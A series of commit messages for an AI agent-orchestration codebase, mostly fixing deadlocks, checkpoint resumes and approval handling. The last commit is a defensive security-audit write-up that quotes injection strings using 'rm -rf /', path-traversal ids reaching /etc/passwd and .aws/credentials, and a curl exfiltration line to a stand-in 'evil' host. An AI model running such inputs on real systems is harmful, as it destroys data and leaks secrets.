A company goal turn can hold the per-task session lock for hours while its
live dispatcher waits on AWAITING_HUMAN approval cards. The card answers are
themselves session messages, so they queued behind that same lock — a
three-way circular wait (dispatcher waits for the answer, the answer waits
for the lock, the lock waits for the dispatcher) that left late approval
clicks recorded but never delivered, and the parked branches wedged forever.
Timely clicks were unaffected because the inline-wait reply path resolves a
future without touching the lock, which is why only late approvals failed.
Three legs, all verified live on a wedged production run:
1. Lock-free answer path (ws_handler): a reply that explicitly targets a
pending task_user_input / company_work_item_gate checkpoint while the
task lock is held by a live turn is delivered straight through the
engine's checkpoint-resume channel. With a live dispatcher the engine
only persists the input, applies the approval decision, releases the
human wait, and wakes the loop — no second dispatcher, no re-entry.
When the lock is free the serialized path is kept unchanged. Failures
surface to the user instead of silently queueing behind the wedge.
2. Approval treadmill: company runtime parks persisted the blocked call
without its arguments, so the OBS-7 decision bridge could not rebuild
the allowlist context — a late approve resumed the task but recorded no
grant, and the identical command re-blocked and re-parked on a fresh
card every cycle. The runtime park artifact now persists tool_args, the
decision bridge falls back to permission_requests when
pause_request.permission_context is absent, and the legacy checkpoint
migration preserves existing permission_requests entries instead of
rebuilding them empty.
3. OPC_ESCALATION_TIMEOUT_SECONDS env override for the inline approval
wait (default unchanged) so harnesses can exercise the expire/park/
late-click cycle in seconds.
Live verification on the wedged run: both stranded cards resumed (the
second through the lock-free path while the first held the lock), a fresh
10s-expiry card answered late resumed within one second, the decision
bridge recorded the grant on reply, and the run converged to delivery.
Regression: 6 new lock-free path tests + 2 decision-bridge tests; full
suite 1932 passed.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approving (or sending feedback on) the delivery review card runs employee
self-evolution as company work items, but the finalizer required the
turn's FINAL chat text to be bare JSON. The hardened native runtime
appends a verification status line to every final text and the manager
dispatch guard displaces the final message with a justification, so every
reflection died with invalid_self_evolution_json even when the model
produced valid patches on all three attempts, and the FAILED items
polluted the delivered run's terminal verdict.
- Add a submit_self_evolution_patches tool as the authoritative result
channel (exposed only on self-evolution work items, approval-exempt).
The text parser becomes a fallback that scans fenced blocks and
balanced JSON objects, and retry feedback now carries the concrete
parse failure plus the tool instruction.
- Settle abandoned reflections as CANCELLED (self_evolution_abandoned)
and exclude kind=self_evolution from run-lifecycle settlement so an
opt-in reflection can never dirty a delivered run.
- Claim the review card with a consuming CAS before spawning (duplicate
approve/feedback replies answer idempotently instead of re-entering),
bound the reflection run with a 40-minute deadline that cancels
leftover self-evolution items, and hand the claim back to pending when
the consumed run crashes mid-flight.
Verified live on real runs: the unfixed code failed the approve path in
90s with zero patches recorded; with the fix both the approve and the
feedback paths recorded patches end-to-end (CEO->COO and CEO->CMO
cascades, zero retries, human feedback reflected in patch content).
tests/: 1924 passed.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
OBS-11 — stop/resume killed pure-native runs over a phantom external pin.
Role templates' preferred_external_agent leaked into execution identity even
when the user requested native and execution actually ran native; on resume
the availability gate trusted the pin and failed every non-terminal item.
Root fixes across the whole chain:
- Staffing card per-role defaults are now the RESOLVED backend (explicit
session agent choice > runnable template preference > native), never a
hardcoded external default; seat enrichment and the dispatch selector's
locked branch downgrade provably unavailable externals to native and
record the wish in execution_agent_unavailable.
- The resume availability gate fails closed only when a resumable external
session actually exists; a bare pin heals to native (snapshot AND task
durable identity) and the run resumes — mirroring dispatch fallback.
- Suspend-checkpoint replies: force_resume (chat/headless spelling) is
recognized alongside ui_force_resume, and bare continuation tokens
(English and Chinese spellings) take the plain-resume path instead of
being routed to the final decider as content, which reopened the
already-approved intake card.
OBS-5 — failed runs never closed and dropped new input. The dispatcher's
convergence exit now settles terminally-failed runs (status=failed,
lifecycle=closed_failed, run_failure metadata) and emits a
company_run_failure_review card whose replies never swallow messages:
dismiss acknowledges, content falls through so normal routing starts a
fresh run. _maybe_resume_existing_company_runtime no longer re-executes a
terminally-failed tree: control replies get an honest closed status,
content-bearing input starts a new run.
OBS-6 — provider quota exhaustion terminally failed work items. Rate-limit
rejections are classified (LLMProvider.is_rate_limit_error, covering
status codes, exception types, and English/Chinese provider error text),
the agent runtime raises typed ProviderQuotaExhaustedError instead of
burning conversation-feedback retries, and the company dispatcher parks:
the item returns to READY (attempt interrupted, no terminal failure), the
member session idles, and claiming backs off exponentially (60s doubling
to a 900s cap; a quiet 30min resets the streak) before resuming
automatically.
Verified end-to-end on the real minimax-m3 campaign: same goal, same 300s
stop point, same run shape that previously killed the whole tree within
90s now resumes cleanly and completes with all items approved; staffing
defaults native for all 11 roles.
Tests: test_stop_resume_native_pin (10), test_run_failure_settlement (6),
test_provider_quota_park (9); attempt-ledger, recruiter, and
suspend-resume suites updated to the new contracts (their old assertions
pinned the defective behaviors).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
OBS-4: checkpoint answers for a run whose dispatcher is still live no longer
re-enter _execute_company_mode (re-entry reset live claim registries and the
attempt ledger stamped in-flight cards interrupted until the streak limit
killed them). The executor keeps a _live_run_dispatchers refcount; task and
peer checkpoint resumes deliver the input in place and wake the dispatcher.
Runs without a live dispatcher keep the original re-entry resume semantics.
OBS-7: approval decisions expressed through the chat/checkpoint route now
reach the approval engine instead of being parsed as plain task input
(which _ask_user treated as deny, re-escalating until the card died).
normalize_escalation_reply maps decision tokens/synonyms (never silently
denies free text), escalation_context_for_blocked_tool rebuilds the
allowlist context from pause_request.permission_context, and
_resume_task_checkpoint applies the grant via
apply_deferred_escalation_decision — the same engine path as the UI card.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- delete_work_item descendant cascade now goes through transition_work_item
(audit reason, attempt-ledger settlement, phase hooks) instead of raw
store phase writes plus manual task.status mutation; task-owned audit
stamps and execution-lock release only happen when a cancellation
actually occurred, removing a desync path (task=CANCELLED under
work_item=APPROVED) in drift scenarios.
- transition_work_item gains blocked_reason/handoff_status passthrough so
callers no longer need a second store write for the same transition.
- new build_company_resume_identity_restore helper in metadata_ownership
replaces the ad-hoc delegation_seat_id/role/session literals in
engine._restore_and_pin_company_resume_execution_identity, keeping seat
identity writes inside the ownership contract module.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Merges xiaodong-l's hardening work: company suspend-checkpoint resume
reconciliation, external session token lifecycle fixes, Windows launch
shims, codex shell_environment_policy forwarding, Office UI i18n
(en/zh-CN), and two org presets. frontend_dist is rebuilt from the
merged sources in this commit so the #11 runtime-status fixes and the
i18n bundle coexist.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
# Conflicts:
# opc/plugins/office_ui/frontend_dist/assets/index-BgyI65M_.js
# opc/plugins/office_ui/frontend_dist/index.html
Three defects that kept a converged run bouncing forever, found by
replaying the issue #10 timeline against the real engine:
- follow-up routing did not exclude terminal cards: a FAILED
final-decider was clobbered to PENDING and then blew up the whole
resume turn with InvalidPhaseTransition: failed -> ready. Filter
FAILED/CANCELLED at selection and refuse terminal targets in
_prepare_company_followup_target (DONE stays eligible - the
approved -> rework reopen has a dedicated legal store op).
- with every routable decider terminal, the suspend checkpoint parked
pending forever and dead-ended each message on the same error.
Degrade to a plain runtime resume so the run converges and the
checkpoint drains, with an explanatory note.
- startup reconcile classified suspend-hold residue on terminal cards
as an interruption, rebuilding a pending company_runtime_interrupted
checkpoint on every boot. Scrub the residue instead so restarts are
idempotent.
scripts/verify_issue10_e2e.py replays the reporter's full timeline
(kill -> restart -> resume cycles, all external agents disabled) against
the real engine/store/dispatcher: startup only suspends, the codex-pinned
card fails closed with zero attempts burned, restarts stay converged with
idle CPU ~0%, and the kill loop terminalizes at the ledger limit. 11/11.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-runtime resume checkpoint pins each task to one exact
execution backend. When that pinned external agent is disabled in the
config (issue #10: all external agents off), every resume claimed the
card, transitioned it to RUNNING, and crashed deterministically in the
dispatch-time selector ("company runtime resume requires unavailable
external agent"), feeding the restart -> resume -> crash loop.
Gate availability at resume preparation instead, before any pin or
claim: fail the single work item closed (FAILED + diagnostic
blocked_reason + progress note) while the rest of the organization
resumes normally. attempt_seq stays 0 - no dispatch attempt is burned.
A missing adapter registry means availability is unknown, so the gate
fails open and leaves the decision to the dispatch-time guard.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Root-cause fix for the project-4444 class of deadlocks: any FAILED/
CANCELLED work item with downstream dependents used to block its whole
tree forever, because the advancement gate required all dependencies to
be APPROVED and nothing ever propagated or triaged failures.
Settlement mechanism (work_item_transition.py):
- compute doomed set (FAILED/CANCELLED seeds contagious through hard
deps); settlement-released cards are treated as alive
- three-way advancement gate: all-approved (unchanged) / settled-with-
failures releases the nearest decision-capable card (manager parent ->
failure-triage synthesis turn, rollup delivery/aggregate -> READY)
with an atomic dependency_settlement stamp; released cards never
oscillate back
- claim/park/resume/dispatcher-tick all honor the stamp: runnable gates
admit settled failed+stuck deps, parking excludes settled deps and
re-arms triage when a failure raced the park, engine resume no longer
re-locks released cards, the dispatcher tick releases rollup cards
created after the failure
- settlement cascade: once the settled card is APPROVED, stuck children
the manager did not rebuild are cancelled (transitive closure over
stamped stuck seeds, retried until every cancel lands)
- info-class deps never block settlement; adaptive runnable gate now
shares DEPENDENCY_CLASS_DEFAULT with the release gates
Dispatch guard (company_mode.py):
- NO_DELEGATION_JUSTIFICATION parsing tolerates markdown decoration
(bold/lists/quotes/full-width colon) and rejects placeholder echoes
across all artifact/metadata/content channels
- retries exhausted no longer FAILs the work item: dispatch is a soft
constraint, so the turn output is accepted as normal completion and
annotated via manager_dispatch_guard_unresolved; the reminder loop is
unchanged, and the mutation flag is now reset per turn so one past
delegation can never mute future reminders
- manager board context now surfaces failed/cancelled children with
their preserved output and pending-cancellation stuck list so the
triage turn can rebuild, accept partial results, or escalate
Self-produced delegation output goes through review (persisted fact,
single predicate):
- the DONE transition classifies what a dispatch/intake/plan turn
actually delivered from store ground truth (live children => delegated,
none => self_produced) and persists turn_output_kind/-source on the
WorkItem
- is_manager_reviewable_turn honors the persisted marker, so the DONE
routing, report spawn, report completion and recovery scans all read
the same fact — this closes a pre-existing hole where
NO_DELEGATION_JUSTIFICATION output auto-approved with no review at all
- escalation requires a real agent manager above; top seats reporting to
the human owner keep auto-approve (covered by final delivery's human
acceptance) instead of minting unclaimable review cards
- dispatcher tick reconciles reviewable cards stuck in
AWAITING_MANAGER_REVIEW with no live report/review card by rebuilding
the report card idempotently (legacy DBs, crash windows)
Verified: 4444 tasks.db replay unwedges end to end; real-store
report->review chain exercised without lifecycle mocks (mutation check
confirms the tests bite); full suite failure set identical to a
same-session HEAD baseline run (all remaining failures pre-existing or
environment flakes reproduced at HEAD).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Four coordinated fixes for company runs permanently stalling around
tool-approval parks (project 1111 forensics + live reproduction):
- company executor dispatch loop now exits convergently when nothing is
in flight and every remaining task waits on a human: immediate parked
exit when all waiters have pending checkpoints, bounded stall ticks
otherwise. Previously it polled sleep(5) forever, hanging the turn
(observed 7.5h), never answering the user, and holding claims that
blocked any later rescue turn.
- _resume_task_checkpoint routes work-item runtime tasks through the
delegation state machine: release the human wait via the legal
AWAITING_HUMAN -> READY recovery exit, clear stale claims, and hand
the item back to the dispatcher (runtime-snapshot fallback when the
checkpoint payload lacks a plan) instead of a detached single-agent
re-run that never advances the work item phase.
- startup recovery reverse self-heal: an awaiting_human task whose park
checkpoint was already resolved (human answered, resume cut off before
the phase write) is reopened for dispatch instead of being preserved
as a wait nobody can end. Runs before the metadata-plan gate since
modern runs no longer carry the plan in task metadata.
- pause checkpoints record execution_mode from the durable
work_item_runtime marker instead of volatile task metadata, which
degraded to task_mode after a first resume and misrouted the next one.
Validated end-to-end on a live native-agent minimal-org run
(park -> approve -> re-park -> approve -> complete -> deliver, plus
synthesized crash-between-resolve-and-phase-write healed on restart).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A task_user_input checkpoint created by an approval escalation (payload
runtime_v2.permission_requests non-empty) used to capture the next plain chat
message in the session as its answer. With deferred approval cards now staying
pending indefinitely (c9018000), that implicit capture would swallow every
later conversation message into the approval reply.
Permission prompts are decided through their approval card, whose reply always
carries an explicit response_to_checkpoint_id; a plain message now falls
through to normal turn processing and the card stays pending and clickable.
Waits without a permission request (agent asked the user a question) keep
accepting typed answers unchanged.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This reverts the revert e1c28c38, re-landing d502d66c.
Forensics on the project 000 incident show the original revert was a
misattribution: the failures observed at 19:00-19:21 ran on a server started
before the fix was committed (19:59), and the 20:27 failure was the separate
company_work_item_plan schema collision (fixed in the previous commit), which
this change never claimed to cover.
Re-landing is also now required by c9018000: the deferred approval-card click
path rewrites the reply to target the parked AWAITING_HUMAN checkpoint and
resumes through _resume_task_checkpoint — without this change that resume hits
the empty-task-list + MULTI_AGENT value-alias bug and returns an empty reply
on company tasks.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Every completed company session's follow-up was answered with the canned
"Legacy company runtime run ... read-only" text (project 000, 2026-07-07).
Root cause: snapshot loaders read task.metadata work_item_runtime_plan as a
serialized run-level CompanyWorkItemRuntimePlan, but work-item tasks persist a
per-item assignment spec (projection_id/turn_type/summary/deliverables/...)
under that key. from_dict on the wrong shape silently yields an empty plan
(no projections, empty metadata), _runtime_uses_multi_team_org returns False,
and the resume path falls through to the legacy read-only branch.
Add is_serialized_company_work_item_runtime_plan (a run-level plan always
serializes with projections + runtime_model; a spec always carries
projection_id) and route all full-plan metadata reads through
serialized_company_plan_from_metadata, which skips wrong-shaped candidates so
the loaders fall back to the sample-metadata-constructed plan instead of an
empty one. Fixes existing DBs read-side; no data migration.
Verified: old path on the 000 shape classifies multi_team_org=False, new path
True; regression tests cover shape discrimination, snapshot classification,
and the follow-up never reporting legacy.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-mode review left a pending task_user_input checkpoint behind: the
runtime carried the paused work item forward via approval-card grants and a
fresh review attempt without ever replying through the engine checkpoint. The
orphan row then captured the user's next chat message and resumed through the
deprecated multi-agent path with an empty task list, returning an empty reply.
Invariants added:
- write side: when a task settles (done/failed/cancelled) its pending
task_user_input/task_peer_wait checkpoints are superseded
- read side: checkpoint matching lazily resolves rows whose task settled or
whose linked work item reached a terminal phase (heals existing dirty DBs)
- resume: the primary task is always part of the resumed set; the
MULTI_AGENT/COMPANY_MODE value-alias no longer routes company checkpoints
into _execute_multi_agent (which silently returned "" on empty task lists)
Perf: get_latest_pending_checkpoint_for_session is called per task on every
UI sync tick, and its parent-session resolution loaded and JSON-parsed the
entire tasks table each time (24MB with inline artifact blobs) — a full core
pegged at 100% and the event loop starved so replies never surfaced. Now a
no-live-checkpoints fast path returns immediately, and the resolution uses a
targeted session_id query backed by a new tasks(session_id) index.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Deleting a project closed its store but left the delegate cached in
_project_engine_delegates; re-creating a same-name project then reused the
zombie engine and crashed in get_session. delete() now closes and evicts via
_close_project_engine_store (also covers non-active deletes), the delegate
cache self-heals when a cached store is closed, and _engine_for_project
reopens a closed store for the non-evictable root engine case.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>